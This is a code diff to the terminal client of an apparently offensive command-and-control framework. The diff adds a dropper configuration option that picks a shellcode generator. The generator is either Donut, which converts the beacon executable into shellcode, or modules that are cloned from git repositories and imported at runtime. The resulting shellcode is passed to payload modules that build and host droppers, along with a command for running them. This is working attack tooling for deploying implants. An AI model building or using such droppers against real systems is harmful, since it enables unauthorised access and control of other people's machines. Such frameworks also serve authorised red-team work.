7474 except ImportError as e :
7575 print (f"Failed to import { moduleName } : { e } " )
7676
77-
7877#
79- # Terminal modules
78+ # ShellCode modules
8079#
81- # legacy path setup removed in favor of package imports
80+
81+ import donut
82+
83+ try :
84+ import pkg_resources
85+ shellCodeModulesDir = pkg_resources .resource_filename (
86+ 'C2Client' ,
87+ 'ShellCodeModules'
88+ )
89+ ShellCodeModulesPath = pkg_resources .resource_filename (
90+ 'C2Client' ,
91+ 'ShellCodeModules.conf'
92+ )
93+
94+ except ImportError :
95+ shellCodeModulesDir = os .path .join (os .path .dirname (__file__ ), 'ShellCodeModules' )
96+ ShellCodeModulesPath = os .path .join (os .path .dirname (__file__ ), 'ShellCodeModules.conf' )
97+
98+ if not os .path .exists (shellCodeModulesDir ):
99+ os .makedirs (shellCodeModulesDir )
100+
101+ with open (ShellCodeModulesPath , "r" ) as file :
102+ repositories = file .readlines ()
103+
104+ ShellCodeModules = []
105+ for repo in repositories :
106+ repo = repo .strip ()
107+ repoName = repo .split ('/' )[- 1 ].replace ('.git' , '' )
108+ repoPath = os .path .join (shellCodeModulesDir , repoName )
109+
110+ if not os .path .exists (repoPath ):
111+ print (f"Cloning { repoName } in { repoPath } ." )
112+ try :
113+ Repo .clone_from (repo , repoPath )
114+ except Exception as e :
115+ print (f"Failed to clone { repoName } : { e } " )
116+ else :
117+ print (f"Repository { repoName } already exists in { shellCodeModulesDir } ." )
118+
119+ for moduleName in os .listdir (shellCodeModulesDir ):
120+ modulePath = os .path .join (shellCodeModulesDir , moduleName )
121+
122+ if os .path .isdir (modulePath ):
123+ if os .path .exists (modulePath ):
124+ sys .path .insert (1 , modulePath )
125+ try :
126+ # Dynamically import the module
127+ importedModule = __import__ (moduleName )
128+ ShellCodeModules .append (importedModule )
129+ print (f"Successfully imported { moduleName } " )
130+ except ImportError as e :
131+ print (f"Failed to import { moduleName } : { e } " )
82132
83133
84134#
137187- Batcave Search rec"""
138188
139189DropperInstruction = "Dropper"
190+ DropperConfigSubInstruction = "Config"
191+ DropperConfigShellcodeGeneratorDisplay = "ShellcodeGenerator"
192+ DropperConfigShellcodeGeneratorKey = DropperConfigShellcodeGeneratorDisplay .lower ()
193+ ShellcodeGeneratorDonut = "Donut"
194+ DropperAvailableHeader = "- Available dropper:\n "
195+ DropperThreadRunningMessage = "Dropper thread already running"
196+ DropperConfigHeader = "- Dropper Config:"
197+ DropperConfigShellcodeGeneratorLine = f" { DropperConfigShellcodeGeneratorDisplay } : {{}}"
198+ DropperConfigShellcodeGeneratorAvailableLine = " Available: {}"
199+ DropperConfigUnknownOptionError = "Error: Unknown dropper config option."
200+ DropperConfigUnknownValueError = "Error: Unknown shellcode generator."
201+ DropperConfigUpdatedMessage = "Shellcode generator set to {}."
202+ DonutShellcodeGeneratorMessage = "Donut Shellcode generator"
203+ DonutShellcodeFileName = "loader.bin"
204+ ModuleShellcodeFileName = "finalShellcode.bin"
140205
141206DropperModuleGetHelpFunction = "getHelpExploration"
142207DropperModuleGeneratePayloadFunction = "generatePayloadsExploration"
@@ -178,7 +243,11 @@ def getHelpMsg():
178243completerData = [
179244 (HelpInstruction ,[]),
180245 (HostInstruction ,[]),
181- (DropperInstruction ,[]),
246+ (DropperInstruction ,[
247+ (DropperConfigSubInstruction , [
248+ (DropperConfigShellcodeGeneratorDisplay , [])
249+ ])
250+ ]),
182251 (BatcaveInstruction , [
183252 ("Install" , []),
184253 ("BundleInstall" , []),
@@ -212,6 +281,7 @@ def __init__(self, parent, grpcClient):
212281 self .layout .setContentsMargins (0 , 0 , 0 , 0 )
213282
214283 self .grpcClient = grpcClient
284+ self .dropperConfig = {DropperConfigShellcodeGeneratorKey : ShellcodeGeneratorDonut }
215285
216286 self .logFileName = LogFileName
217287
@@ -291,9 +361,10 @@ def runCommand(self):
291361 elif instructions [1 ].lower () == ReloadModulesInstruction .lower ():
292362 self .printInTerminal (commandLine , ReloadModulesHelp )
293363 elif instructions [1 ].lower () == DropperInstruction .lower ():
294- availableModules = "- Available dropper: \n "
364+ availableModules = DropperAvailableHeader
295365 for module in DropperModules :
296366 availableModules += " " + module .__name__ + "\n "
367+ availableModules += "\n " + self ._format_shellcode_generator_summary ()
297368 self .printInTerminal (commandLine , availableModules )
298369 return
299370 elif instructions [1 ].lower () == SocksInstruction .lower ():
@@ -554,18 +625,83 @@ def runHost(self, commandLine, instructions):
554625 self .printInTerminal (commandLine , result )
555626
556627
628+ def _handle_dropper_config (self , commandLine , instructions ):
629+ if len (instructions ) == 2 :
630+ self .printInTerminal (commandLine , self ._format_shellcode_generator_summary ())
631+ return
632+
633+ configKey = instructions [2 ].lower ()
634+ if configKey != DropperConfigShellcodeGeneratorKey :
635+ self .printInTerminal (commandLine , DropperConfigUnknownOptionError )
636+ return
637+
638+ if len (instructions ) == 3 :
639+ self .printInTerminal (commandLine , self ._format_shellcode_generator_summary (include_header = False ))
640+ return
641+
642+ requestedGenerator = instructions [3 ].lower ()
643+ availableGenerators = self ._get_available_shellcode_generators ()
644+
645+ selectedGenerator = None
646+ for generator in availableGenerators :
647+ if generator .lower () == requestedGenerator :
648+ selectedGenerator = generator
649+ break
650+
651+ if not selectedGenerator :
652+ self .printInTerminal (commandLine , DropperConfigUnknownValueError )
653+ return
654+
655+ self .dropperConfig [DropperConfigShellcodeGeneratorKey ] = selectedGenerator
656+ self .printInTerminal (commandLine , DropperConfigUpdatedMessage .format (selectedGenerator ))
657+
658+ def _format_shellcode_generator_summary (self , include_header = True ):
659+ currentGenerator = self .dropperConfig .get (
660+ DropperConfigShellcodeGeneratorKey ,
661+ ShellcodeGeneratorDonut ,
662+ )
663+ availableGenerators = ", " .join (self ._get_available_shellcode_generators ())
664+
665+ lines = []
666+ if include_header :
667+ lines .append (DropperConfigHeader )
668+ generatorLine = DropperConfigShellcodeGeneratorLine .format (currentGenerator )
669+ availableLine = DropperConfigShellcodeGeneratorAvailableLine .format (availableGenerators )
670+ else :
671+ generatorLine = DropperConfigShellcodeGeneratorLine .strip ().format (currentGenerator )
672+ availableLine = DropperConfigShellcodeGeneratorAvailableLine .strip ().format (availableGenerators )
673+ lines .append (generatorLine )
674+ lines .append (availableLine )
675+ return "\n " .join (lines )
676+
677+ def _get_available_shellcode_generators (self ):
678+ generators = [ShellcodeGeneratorDonut ]
679+ for module in ShellCodeModules :
680+ moduleName = module .__name__
681+ if moduleName not in generators :
682+ generators .append (moduleName )
683+ return generators
684+
685+
557686 #
558- # runDropper
687+ # runDropper
559688 #
560689 def runDropper (self , commandLine , instructions ):
561690 if len (instructions ) < 2 :
562- availableModules = "- Available dropper: \n "
691+ availableModules = DropperAvailableHeader
563692 for module in DropperModules :
564693 availableModules += " " + module .__name__ + "\n "
694+ availableModules += "\n " + self ._format_shellcode_generator_summary ()
565695 self .printInTerminal (commandLine , availableModules )
566696 return
567697
568- moduleName = instructions [1 ].lower ()
698+ subCommand = instructions [1 ].lower ()
699+
700+ if subCommand == DropperConfigSubInstruction .lower ():
701+ self ._handle_dropper_config (commandLine , instructions )
702+ return
703+
704+ moduleName = subCommand
569705
570706 moduleFound = False
571707 for module in DropperModules :
@@ -585,10 +721,22 @@ def runDropper(self, commandLine, instructions):
585721 additionalArgss = " " .join (instructions [4 :])
586722
587723 if self .dropperWorker :
588- self .printInTerminal (commandLine , 'Dropper thread already running' )
724+ self .printInTerminal (commandLine , DropperThreadRunningMessage )
589725 else :
590726 self .thread = QThread ()
591- self .dropperWorker = DropperWorker (self .grpcClient , commandLine , moduleName , listenerDownload , listenerBeacon , additionalArgss )
727+ shellcodeGenerator = self .dropperConfig .get (
728+ DropperConfigShellcodeGeneratorKey ,
729+ ShellcodeGeneratorDonut ,
730+ )
731+ self .dropperWorker = DropperWorker (
732+ self .grpcClient ,
733+ commandLine ,
734+ moduleName ,
735+ listenerDownload ,
736+ listenerBeacon ,
737+ additionalArgss ,
738+ shellcodeGenerator ,
739+ )
592740 self .dropperWorker .moveToThread (self .thread )
593741 self .thread .started .connect (self .dropperWorker .run )
594742 self .dropperWorker .finished .connect (self .printDropperResult )
@@ -617,14 +765,24 @@ def setCursorEditorAtEnd(self):
617765class DropperWorker (QObject ):
618766 finished = pyqtSignal (str , str )
619767
620- def __init__ (self , grpcClient , commandLine , moduleName , listenerDownload , listenerBeacon , additionalArgs ):
768+ def __init__ (
769+ self ,
770+ grpcClient ,
771+ commandLine ,
772+ moduleName ,
773+ listenerDownload ,
774+ listenerBeacon ,
775+ additionalArgs ,
776+ shellcodeGenerator ,
777+ ):
621778 super ().__init__ ()
622779 self .grpcClient = grpcClient
623780 self .commandLine = commandLine
624781 self .moduleName = moduleName
625782 self .listenerDownload = listenerDownload
626783 self .listenerBeacon = listenerBeacon
627784 self .additionalArgs = additionalArgs
785+ self .shellcodeGenerator = shellcodeGenerator or ShellcodeGeneratorDonut
628786
629787 def run (self ):
630788
@@ -718,9 +876,39 @@ def run(self):
718876 cmdToRun = ""
719877 for module in DropperModules :
720878 if self .moduleName == module .__name__ .lower ():
721- logging .debug ("GenerateAndHostGeneric Generate for module: %s" , self .moduleName )
879+ logging .debug ("GenerateAndHostGeneric DropperModule: %s" , self .moduleName )
880+
881+ shellcodeGenerator = self .shellcodeGenerator
882+ shellcodeGeneratorLower = shellcodeGenerator .lower ()
883+ rawshellcode = ""
884+
885+ # Check shellcode generator
886+ if shellcodeGeneratorLower == ShellcodeGeneratorDonut .lower ():
887+ print (DonutShellcodeGeneratorMessage )
888+ shellcode = donut .create (
889+ file = beaconFilePath ,
890+ params = beaconArg
891+ )
892+ beaconArg = ""
893+ beaconFilePath = ""
894+ rawshellcode = DonutShellcodeFileName
895+
896+ else :
897+ for ShellCodeModule in ShellCodeModules :
898+ logging .debug ("ShellCodeModule: %s" , ShellCodeModule )
899+
900+ if shellcodeGeneratorLower == ShellCodeModule .__name__ .lower ():
901+ logging .debug ("GenerateAndHostGeneric ShellCodeModule: %s" , ShellCodeModule .__name__ )
902+
903+ genShellcode = getattr (ShellCodeModule , "buildLoaderShellcode" )
904+ genShellcode (beaconFilePath , "" , beaconArg , 3 )
905+
906+ beaconArg = ""
907+ beaconFilePath = ""
908+ rawshellcode = ModuleShellcodeFileName
909+
722910 genPayload = getattr (module , DropperModuleGeneratePayloadFunction )
723- droppersPath , shellcodesPath , cmdToRun = genPayload (beaconFilePath , beaconArg , "" , urlDownload , self .additionalArgs .split (" " ))
911+ droppersPath , shellcodesPath , cmdToRun = genPayload (beaconFilePath , beaconArg , rawshellcode , urlDownload , self .additionalArgs .split (" " ))
724912
725913 # Upload the file and get the path
726914 for dropperPath in droppersPath :
@@ -813,7 +1001,7 @@ def historyDown(self):
8131001 self .setText (cmd .strip ())
8141002
8151003 def setCmdHistory (self ):
816- cmdHistoryFile = open ('.termHistory' )
1004+ cmdHistoryFile = open (HistoryFileName )
8171005 self .cmdHistory = cmdHistoryFile .readlines ()
8181006 self .idx = len (self .cmdHistory )- 1
8191007 cmdHistoryFile .close ()
0 commit comments